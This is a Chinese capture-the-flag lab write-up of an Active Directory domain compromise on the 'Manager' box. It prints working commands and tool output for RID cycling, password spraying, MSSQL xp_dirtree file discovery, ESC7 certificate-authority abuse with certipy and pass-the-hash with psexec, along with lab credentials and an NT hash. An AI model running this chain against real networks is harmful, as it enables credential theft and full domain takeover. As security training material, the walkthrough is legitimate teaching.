红队靶场笔记 03-Manager

admin 2025年3月20日21:54:11评论4 views字数 14302阅读47分40秒阅读模式
红队靶场笔记 03-Manager

00. 摘要

关键词:Guest账户、RID 爆破、MSSQL xp_dirtree、ESC7提权

  1. 1. 使用 Guest 账户枚举 SMB 服务,发现受害机启用了 Guest 账户,但没有找到有价值的文件共享。
  2. 2. 使用 Guest 账户进行 RID 爆破,拿到域用户清单。
  3. 3. 使用常见弱密码进行爆破,拿到 Operator 账户的密码。
  4. 4. 使用 Operator 账户登录mssql,通过xp_dirtree 找到网站备份文件。
  5. 5. 在网站备份文件中找到 raven 账户
  6. 6. 使用 raven 账户枚举 ADCS 服务,发现存在 ESC7 漏洞。
  7. 7. 使用 ESC7 漏洞提权到 Administrator

01. 信息收集

使用 rustscan 进行端口扫描,发现如下开放端口

kali@kali[~]$ rustscan -u 5000 -a 10.10.11.236.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {}  |  `| || .-. | {_} |.-._} } | |  .-._} }     }/  /  | |  |`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'The Modern Day Port Scanner.________________________________________: http://discord.skerritt.blog         :: https://github.com/RustScan/RustScan : --------------------------------------RustScan: Making sure 'closed' isn't just a state of mind.[~] The config file is expected to be at "/home/player/.rustscan.toml"[~] Automatically increasing ulimit value to 5000.Open 10.10.11.236:53Open 10.10.11.236:80Open 10.10.11.236:88Open 10.10.11.236:135Open 10.10.11.236:139Open 10.10.11.236:389Open 10.10.11.236:445Open 10.10.11.236:464Open 10.10.11.236:593Open 10.10.11.236:636Open 10.10.11.236:1433Open 10.10.11.236:3268Open 10.10.11.236:3269Open 10.10.11.236:5985Open 10.10.11.236:9389Open 10.10.11.236:49667Open 10.10.11.236:49689Open 10.10.11.236:49690Open 10.10.11.236:49693Open 10.10.11.236:49725Open 10.10.11.236:49801Open 10.10.11.236:52587

02. 使用Guest账户枚举 SMB服务

在没有任何账户的情况下,尝试使用Windows内置的Guest账户枚举SMB文件共享

kali@kali[~]$ netexec smb 10.10.11.236 -u "Guest" -p "" --sharesSMB         10.10.11.236    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)SMB         10.10.11.236    445    DC01             [+] manager.htbGuest: SMB         10.10.11.236    445    DC01             [*] Enumerated sharesSMB         10.10.11.236    445    DC01             Share           Permissions     RemarkSMB         10.10.11.236    445    DC01             -----           -----------     ------SMB         10.10.11.236    445    DC01             ADMIN$                          Remote AdminSMB         10.10.11.236    445    DC01             C$                              Default shareSMB         10.10.11.236    445    DC01             IPC$            READ            Remote IPCSMB         10.10.11.236    445    DC01             NETLOGON                        Logon server share SMB         10.10.11.236    445    DC01             SYSVOL                          Logon server share

发现虽然启用了 Guest 账户,但是只有默认共享 IPC$ 的读取权限,没有什么有用的信息。

然后我们使用 Guest 账户进行RID爆破,枚举域用户名:

Note

RID爆破(RID Cycling)的原理是:由于 RIDs 是连续的,所以攻击者可以暴力破解或猜测 RIDs 和 SIDs 来枚举域对象

kali@kali[~]$ netexec smb 10.10.11.236 -u "Guest" -p "" --rid-bruteSMB         10.10.11.236    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)SMB         10.10.11.236    445    DC01             [+] manager.htbGuest: SMB         10.10.11.236    445    DC01             498: MANAGEREnterprise Read-only Domain Controllers (SidTypeGroup)SMB         10.10.11.236    445    DC01             500: MANAGERAdministrator (SidTypeUser)SMB         10.10.11.236    445    DC01             501: MANAGERGuest (SidTypeUser)SMB         10.10.11.236    445    DC01             502: MANAGERkrbtgt (SidTypeUser)SMB         10.10.11.236    445    DC01             512: MANAGERDomain Admins (SidTypeGroup)SMB         10.10.11.236    445    DC01             513: MANAGERDomain Users (SidTypeGroup)SMB         10.10.11.236    445    DC01             514: MANAGERDomain Guests (SidTypeGroup)SMB         10.10.11.236    445    DC01             515: MANAGERDomain Computers (SidTypeGroup)SMB         10.10.11.236    445    DC01             516: MANAGERDomain Controllers (SidTypeGroup)SMB         10.10.11.236    445    DC01             517: MANAGERCert Publishers (SidTypeAlias)SMB         10.10.11.236    445    DC01             518: MANAGERSchema Admins (SidTypeGroup)SMB         10.10.11.236    445    DC01             519: MANAGEREnterprise Admins (SidTypeGroup)SMB         10.10.11.236    445    DC01             520: MANAGERGroup Policy Creator Owners (SidTypeGroup)SMB         10.10.11.236    445    DC01             521: MANAGERRead-only Domain Controllers (SidTypeGroup)SMB         10.10.11.236    445    DC01             522: MANAGERCloneable Domain Controllers (SidTypeGroup)SMB         10.10.11.236    445    DC01             525: MANAGERProtected Users (SidTypeGroup)SMB         10.10.11.236    445    DC01             526: MANAGERKey Admins (SidTypeGroup)SMB         10.10.11.236    445    DC01             527: MANAGEREnterprise Key Admins (SidTypeGroup)SMB         10.10.11.236    445    DC01             553: MANAGERRAS and IAS Servers (SidTypeAlias)SMB         10.10.11.236    445    DC01             571: MANAGERAllowed RODC Password Replication Group (SidTypeAlias)SMB         10.10.11.236    445    DC01             572: MANAGERDenied RODC Password Replication Group (SidTypeAlias)SMB         10.10.11.236    445    DC01             1000: MANAGERDC01$ (SidTypeUser)SMB         10.10.11.236    445    DC01             1101: MANAGERDnsAdmins (SidTypeAlias)SMB         10.10.11.236    445    DC01             1102: MANAGERDnsUpdateProxy (SidTypeGroup)SMB         10.10.11.236    445    DC01             1103: MANAGERSQLServer2005SQLBrowserUser$DC01 (SidTypeAlias)SMB         10.10.11.236    445    DC01             1113: MANAGERZhong (SidTypeUser)SMB         10.10.11.236    445    DC01             1114: MANAGERCheng (SidTypeUser)SMB         10.10.11.236    445    DC01             1115: MANAGERRyan (SidTypeUser)SMB         10.10.11.236    445    DC01             1116: MANAGERRaven (SidTypeUser)SMB         10.10.11.236    445    DC01             1117: MANAGERJinWoo (SidTypeUser)SMB         10.10.11.236    445    DC01             1118: MANAGERChinHae (SidTypeUser)SMB         10.10.11.236    445    DC01             1119: MANAGEROperator (SidTypeUser)

其中 SidTypeUser 代表用户,我们可以得到一份用户清单 usernames.txt

AdministratorGuestkrbtgtDC01$ZhongChengRyanRavenJinWooChinHaeOperator

然后我们简单尝试一下常见弱口令(偏脑洞,需要积累此操作)

  1. 1. 密码与用户名相同 --> 失败
  2. 2. 密码是用户名大写 --> 失败
  3. 3. 密码是用户名小写 --> 成功
kali@kali[~]$ cat usernames.txt | awk '{ print  tolower($0) }' > passwords.txtkali@kali[~]$ netexec smb 10.10.11.236 -u usernames.txt -p passwords.txt --no-bruteforce --continue-on-successSMB         10.10.11.236    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)SMB         10.10.11.236    445    DC01             [-] manager.htbAdministrator:administrator STATUS_LOGON_FAILURESMB         10.10.11.236    445    DC01             [-] manager.htbGuest:guest STATUS_LOGON_FAILURE SMB         10.10.11.236    445    DC01             [-] manager.htbkrbtgt:krbtgt STATUS_LOGON_FAILURE SMB         10.10.11.236    445    DC01             [-] manager.htbDC01$:dc01$ STATUS_LOGON_FAILURE SMB         10.10.11.236    445    DC01             [-] manager.htbZhong:zhong STATUS_LOGON_FAILURE SMB         10.10.11.236    445    DC01             [-] manager.htbCheng:cheng STATUS_LOGON_FAILURE SMB         10.10.11.236    445    DC01             [-] manager.htbRyan:ryan STATUS_LOGON_FAILURE SMB         10.10.11.236    445    DC01             [-] manager.htbRaven:raven STATUS_LOGON_FAILURE SMB         10.10.11.236    445    DC01             [-] manager.htbJinWoo:jinwoo STATUS_LOGON_FAILURE SMB         10.10.11.236    445    DC01             [-] manager.htbChinHae:chinhae STATUS_LOGON_FAILURE SMB         10.10.11.236    445    DC01             [+] manager.htbOperator:operator

我们得到了 Operator 账户的账号密码

username: Operatorpassword: operator

Note

  1. 1. 使用 netexec 进行密码爆破的时候,需要设置 --no-bruteforce 这样可以在爆破的时候,用户名和密码一一对应,而不会每一个用户名都尝试一遍所有密码。
  2. 2. 设置 --continue-on-success 参数是为了爆破出所有的有效账户。如果不设置该参数,则会在爆破出第一个有效账户的时候,结束爆破。

先枚举 Operator 账户可以访问的smb文件共享,发现没有敏感文件可以访问。然后尝试用该账户访问mssql,发现可以成功访问

kali@kali[~]$ netexec mssql 10.10.11.236 -u Operator -p operatorMSSQL       10.10.11.236    1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:manager.htb)MSSQL       10.10.11.236    1433   DC01             [+] manager.htbOperator:operator

一并枚举 winrmldap 服务,发现还能访问 ldap

03. 使用Operator账户攻击MSSQL

我们先使用 impacket-mssqlclient 连上 mssql 数据库。

  1. 1. 尝试使用 xp_cmdshell 执行命令 --> 失败,报错数据库没有启用 xp_cmdshell
  2. 2. 尝试使用 enable_xp_cmdshell 启用 xp_cmdshell --> 失败,报错没有权限启用
  3. 3. 使用 xp_dirtree + responder 捕获 NetNTLM hash --> 捕获到的 NetNTLM hash 无法破解成明文
  4. 4. 使用 xp_dirtree 收集本机信息,一番寻找之后在网站跟目录下找到了网站的备份文件

Note

注:在使用 impacket-mssqlclient 进行数据库连接的时候,记得添加 -windows-authMSSQL的认证方式主要可以分为以下两种:

  1. 1. MSSQL直接创建的数据库账户,由MSSQL通过账户密码直接认证
  2. 2. 具有MSSQL访问权限的域用户,基于Windows的身份认证机制进行认证

由于我们的账户属于域用户,所以在登录的时候,需要使用基于Windows的身份认证方式。如果不添加 -windows-auth 会登录失败

kali@kali[~]$ impacket-mssqlclient 'Operator':'operator'@'10.10.11.236' -windows-authImpacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [*] Encryption required, switching to TLS[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192[*] INFO(DC01SQLEXPRESS): Line 1: Changed database context to 'master'.[*] INFO(DC01SQLEXPRESS): Line 1: Changed language setting to us_english.[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) [!] Press helpfor extra shell commands<省略...>SQL (MANAGEROperator  guest@master)> xp_dirtree inetpubwwwrootsubdirectory                      depth   file   -------------------------------   -----   ----   about.html                            1      1contact.html                          1      1css                                   1      0images                                1      0index.html                            1      1js                                    1      0service.html                          1      1web.config                            1      1website-backup-27-07-23-old.zip       1      1

我们从网站上下载该备份文件

kali@kali[~]$ wget http://10.10.11.236/website-backup-27-07-23-old.zip

解压之后,从 .old-conf.xml 文件中,找到了raven账户的账号密码

username: ravenpassword: R4v3nBe5tD3veloP3r!123

使用该账户进一步枚举,发现该账户有WINRM服务的权限

kali@kali[~]$ netexec winrm 10.10.11.202 -u 'raven' -p 'R4v3nBe5tD3veloP3r!123'WINRM       10.10.11.236    5985   DC01             [*] Windows 10 / Server 2019 WINRM       10.10.11.236    5985   DC01             [+] manager.htbraven:R4v3nBe5tD3veloP3r!123 (Pwn3d!)

枚举 ldap 发现也有 ldap 服务的访问权限

04. ESC7提权

由于 Operator 和 raven 有 ldap 服务的访问权限,使用这两个账户进行 ADCS 域证书漏洞枚举。发现可以使用 raven 账户进行 ESC7 攻击

kali@kali[~]$ certipy-ad find -u 'raven' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -stdout -vulnerable   Certipy v4.8.2 - by Oliver Lyak (ly4k)<省略...>[*] Enumeration output:Certificate Authorities  0    CA Name                             : manager-DC01-CA    DNS Name                            : dc01.manager.htb    Certificate Subject                 : CN=manager-DC01-CA, DC=manager, DC=htb    Certificate Serial Number           : 5150CE6EC048749448C7390A52F264BB    Certificate Validity Start          : 2023-07-27 10:21:05+00:00    Certificate Validity End            : 2122-07-27 10:31:04+00:00    Web Enrollment                      : Disabled    User Specified SAN                  : Disabled    Request Disposition                 : Issue    Enforce Encryption for Requests     : Enabled    Permissions      Owner                             : MANAGER.HTBAdministrators      Access Rights        Enroll                          : MANAGER.HTBOperator                                          MANAGER.HTBAuthenticated Users                                          MANAGER.HTBRaven        ManageCertificates              : MANAGER.HTBAdministrators                                          MANAGER.HTBDomain Admins                                          MANAGER.HTBEnterprise Admins        ManageCa                        : MANAGER.HTBAdministrators                                          MANAGER.HTBDomain Admins                                          MANAGER.HTBEnterprise Admins                                          MANAGER.HTBRaven    [!] Vulnerabilities      ESC7                              : 'MANAGER.HTB\Raven' has dangerous permissionsCertificate Templates                   : [!] Could not find any certificate templates

从枚举结果可知,可以使用 raven 进行 ESC7 攻击,让我们详细分析下 ESC7 漏洞的原理:

ESC7 本质上通过滥用证书授权权限进行提权。该攻击方式的原理如下:

  1. 1. 如果账户具有 ManageCA 权限,我们可以将 ManageCertificate 权限分配给任何帐户。
  2. 2. 如果账户具有 ManageCertificates 权限,我们可以远程批准待处理的证书请求,绕过 CA certificate manager approval 的保护。
  3. 3. SubCA 是ADCS内置的证书模板,可以被 ESC1 攻击。但是只允许 Domain Admins 和 Enterprise Admins 注册。
  4. 4. 通过结合以上两个权限,我们对 SubCA 证书模板发起 ESC1 攻击 (由于我们没有注册权限,所以会遇到 CERTSRV_E_TEMPLATE_DENIED 错误),我们记录下发起注册的ID和使用的私钥。然后使用 ManageCertificates 权限批准我们注册的证书 (根据上一步记下的ID进行批准)。最后我们根据ID和记录的私钥,检索刚刚批准颁发的证书,并用其进行身份认证。

注:ESC1 攻击原理可以阅读 红队靶场笔记 01-Escape

接下来我们利用 ESC7 漏洞提权到 Administrator 权限

第一步:通过 ManageCa 权限,赋予自己 ManageCertificates 权限 (使用 -add-officer 参数)

kali@kali[~]$ certipy-ad ca -u '[email protected]' -p 'R4v3nBe5tD3veloP3r!123' -ca manager-DC01-CA -add-officer ravenCertipy v4.8.2 - by Oliver Lyak (ly4k)[*] Successfully added officer 'Raven' on 'manager-DC01-CA'

第二步: 使用 SubCA 证书模板,注册一个 SAN 为 Administrator 的证书

kali@kali[~]$ certipy-ad req -u 'raven' -p 'R4v3nBe5tD3veloP3r!123' -ca manager-DC01-CA -dc-ip 10.10.11.236 -template SubCA -upn AdministratorCertipy v4.8.2 - by Oliver Lyak (ly4k)[*] Requesting certificate via RPC[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.[*] Request ID is 20Would you like to save the private key? (y/N) y[*] Saved private key to 20.key[-] Failed to request certificate

记下我们的 Request ID 并 (输入 y) 保留私钥

第三步:通过 ManageCertificates 权限发布刚刚申请失败的证书

kali@kali[~]$ certipy-ad ca -u '[email protected]' -p 'R4v3nBe5tD3veloP3r!123' -ca manager-DC01-CA -issue-request 20 Certipy v4.8.2 - by Oliver Lyak (ly4k)[*] Successfully issued certificate

第四步:通过 ID 和私钥文件,检索我们发布的证书

kali@kali[~]$ certipy-ad req -u '[email protected]' -p 'R4v3nBe5tD3veloP3r!123' -ca manager-DC01-CA -retrieve 20     Certipy v4.8.2 - by Oliver Lyak (ly4k)[*] Rerieving certificate with ID 20[*] Successfully retrieved certificate[*] Got certificate with UPN 'Administrator'[*] Certificate has no object SID[*] Loaded private key from '20.key'[*] Saved certificate and private key to 'administrator.pfx'

第五步:使用证书进行认证,拿到 Administrator 账户的 NT hash

kali@kali[~]$ certipy-ad auth -pfx administrator.pfx -username Administrator -domain manager.htb -dc-ip 10.10.11.236Certipy v4.8.2 - by Oliver Lyak (ly4k)[*] Using principal: [email protected][*] Trying to get TGT...[*] Got TGT[*] Saved credential cache to 'administrator.ccache'[*] Trying to retrieve NT hashfor'administrator'[*] Got hashfor'[email protected]': aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef

现在我们有 Administrator 账户的NT hash了,可以使用 psexec 通过PTH连接到受害机器

kali@kali[~]$ impacket-psexec '[email protected]' -hashes aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924efImpacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [*] Requesting shares on manager.htb.....[*] Found writable share ADMIN$[*] Uploading file vDevPpBd.exe[*] Opening SVCManager on manager.htb.....[*] Creating service IlSN on manager.htb.....[*] Starting service IlSN.....[!] Press helpfor extra shell commandsMicrosoft Windows [Version 10.0.17763.4974](c) 2018 Microsoft Corporation. All rights reserved.C:Windowssystem32> 

参考链接

  1. 1. 文章:使用Guest账户访问SMBhttps://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html#list-shared-folders
  2. 2. 文章:RID爆破https://www.thehacker.recipes/ad/recon/ms-rpc#rid-cycling
  3. 3. 文章:ADCS ESC7攻击https://www.thehacker.recipes/ad/movement/adcs/access-controls#esc7-abusing-subca
  4. 4. 工具:NetExechttps://github.com/Pennyw0rth/NetExec
  5. 5. 工具:Impackethttps://github.com/fortra/impacket
  6. 6. 工具:evil-winrmhttps://github.com/Hackplayers/evil-winrm
  7. 7. 工具:RustScanhttps://github.com/RustScan/RustScan
  8. 8. 工具:Responderhttps://github.com/SpiderLabs/Responder
  9. 9. 工具:Certipyhttps://github.com/ly4k/Certipy

免责声明

本文仅面向合法授权的网络安全教育和学习行为,旨在帮助读者理解和学习域渗透技术在模拟环境中的应用。如您需要测试文中描述的技术和方法,请自行搭建靶机环境。

为避免被恶意使用,本文中描述的所有技术、方法均为漏洞的理论分析和学习思路,不涉及对真实目标的攻击或漏洞利用过程。

在使用本文中描述的技术和方法时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。请勿对非授权目标进行任何形式的扫描、测试或攻击。

如您在使用本文中描述的技术和方法的过程中存在任何非法行为,您需自行承担相应后果,我作为作者将不承担任何法律及连带责任。

在阅读和使用本文前,请您务必审慎阅读、充分理解各条款内容,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。

除非您已充分阅读、完全理解并接受本免责声明所有条款,否则,请您不要使用本文中描述的技术和方法。您的使用行为或者您以其他任何明示或默示方式表示接受本免责声明的,即视为您已阅读并同意本免责声明的约束。

原文始发于微信公众号(SecSentry):红队靶场笔记 03-Manager

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月20日21:54:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   红队靶场笔记 03-Managerhttps://cn-sec.com/archives/3864687.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息